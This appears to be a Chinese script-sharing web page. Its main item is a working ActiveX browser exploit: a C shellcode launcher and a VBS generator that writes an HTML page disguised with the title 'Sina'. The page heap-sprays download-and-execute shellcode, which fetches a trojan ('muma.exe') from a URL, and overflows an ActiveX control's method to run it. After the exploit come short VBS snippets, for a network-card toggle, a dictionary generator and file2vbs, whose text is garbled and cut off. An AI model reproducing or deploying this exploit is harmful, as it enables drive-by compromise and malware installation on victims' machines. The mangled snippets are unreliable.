ActiveX漏洞通用Exploit vbs修正版
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03"
"xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74"
"x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75xE7x5Ex8Bx5E"
"x24x03xDDx66x8Bx0Cx4Bx8Bx5Ex1Cx03xDDx8Bx04x8Bx03"
"xC5xC3x75x72x6Cx6Dx6Fx6Ex2Ex64x6Cx6Cx00x43x3Ax5C"
"x55x2ex65x78x65x00x33xC0x64x03x40x30x78x0Cx8Bx40"
"x0Cx8Bx70x1CxADx8Bx40x08xEBx09x8Bx40x34x8Dx40x7C"
"x8Bx40x3Cx95xBFx8Ex4Ex0ExECxE8x84xFFxFFxFFx83xEC"
"x04x83x2Cx24x3CxFFxD0x95x50xBFx36x1Ax2Fx70xE8x6F"
"xFFxFFxFFx8Bx54x24xFCx8Dx52xBAx33xDBx53x53x52xEB"
"x24x53xFFxD0x5DxBFx98xFEx8Ax0ExE8x53xFFxFFxFFx83"
"xECx04x83x2Cx24x62xFFxD0xBFx7ExD8xE2x73xE8x40xFF"
"xFFxFFx52xFFxD0xE8xD7xFFxFFxFF"
"http://fenggou.net/muma.exe";
int main()
{
void (* code)(); //把ShellCode转换成一个参数为空，返回为空的函数指针，并调用
* (int *) & code = shellcode;
code();
}
vbs代码
exeurl = InputBox( "Please input you want down&exec url：", "输入","http://gimoo.net/muma.exe" )
if exeurl <> "" then
code="xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75xE7x5Ex8Bx5Ex24x03xDDx66x8Bx0Cx4Bx8Bx5Ex1Cx03xDDx8Bx04x8Bx03xC5xC3x75x72x6Cx6Dx6Fx6Ex2Ex64x6Cx6Cx00x43x3Ax5Cx55x2ex65x78x65x00x33xC0x64x03x40x30x78x0Cx8Bx40x0Cx8Bx70x1CxADx8Bx40x08xEBx09x8Bx40x34x8Dx40x7Cx8Bx40x3Cx95xBFx8Ex4Ex0ExECxE8x84xFFxFFxFFx83xECx04x83x2Cx24x3CxFFxD0x95x50xBFx36x1Ax2Fx70xE8x6FxFFxFFxFFx8Bx54x24xFCx8Dx52xBAx33xDBx53x53x52xEBx24x53xFFxD0x5DxBFx98xFEx8Ax0ExE8x53xFFxFFxFFx83xECx04x83x2Cx24x62xFFxD0xBFx7ExD8xE2x73xE8x40xFFxFFxFFx52xFFxD0xE8xD7xFFxFFxFF"&Unicode(exeurl&Chr(00)&Chr(00))
Function Unicode(str1)
Dim str,temp
str = ""
For i=1 to len(str1)
temp = Hex(AscW(Mid(str1,i,1)))
If len(temp) < 5 Then temp = right("0000"&temp, 2)
str = str & "x" & temp
Next
Unicode = str
End Function
function replaceregex(str)
set regex=new regExp
regex.pattern="\x(..)\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
set fso=createObject("scripting.filesystemobject")
if fso.FileExists("gimoo.htm") then
fso.deleteFile "gimoo.htm",True
end If
set fileS=fso.opentextfile("gimoo.htm",8,true)
fileS.writeline "<html>"
fileS.writeline "<title>Sina</title>"
fileS.writeline "<object classid=""clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D"" id='target'></object>"
fileS.writeline "<body>"
fileS.writeline "<SCRIPT language=""JavaScript"">"
fileS.writeline "var shellcode = unescape("""&replaceregex(code)&""");"
fileS.writeline "var bigblock = unescape(""%u9090%u9090"");"
fileS.writeline "var headersize = 20;"
fileS.writeline "var slackspace = headersize+shellcode.length;"
fileS.writeline "while (bigblock.length<slackspace) bigblock+=bigblock;"
fileS.writeline "fillblock = bigblock.substring(0, slackspace);"
fileS.writeline "block = bigblock.substring(0, bigblock.length-slackspace);"
fileS.writeline "while(block.length+slackspace<0x40000) block = block+block+fillblock;"
fileS.writeline "memory = new Array();"
fileS.writeline "for (x=0; x<300; x++) memory[x] = block +shellcode;"
fileS.writeline "var buffer = '';"
fileS.writeline "while (buffer.length < 218) buffer+='x0ax0ax0ax0a';"
fileS.writeline "target.Method1(buffer);"
fileS.writeline "</script>"
fileS.writeline "</body>"
fileS.writeline "</html>"
files.Close
Set fso=nothing
end if
管理网卡vbs脚本
'dislan.vbs'usage:cscript/nologodislan.vbsConstssfCONTROLS=3sConnectionName="本地连接"sEnableVerb="启用(&A)"sDisableVerb="禁用(&B)"setshellApp=createobject("shell.application")setoControlPanel
用vbs写的短小精悍的字典生成器
使用方法'use:cscriptthis.vbsdic.txt把下面的代码保存为this.vbsa=Array(1,2,3,4,"a")Functionjs1(n)fori=1tonf=f&"f"&i&"&"s=s&"ForEachf"&i&"Ina:wscript.echo"&fs=Mid(S,1,Len(S)-1)&":"Nextjs1=sE
把任意文件转成vbs文件的file2vbs的vbs代码
Tr4c3:为了方便在dos下使用，我把inputbox改成了args。'ProgramByxiaolu'name:file2vbs.vbsOnerrorresumenextSetArgs=Wscript.ArgumentsIfArgs.length2ThenWscript.Echo"Usage:"&Wscript.ScriptName&
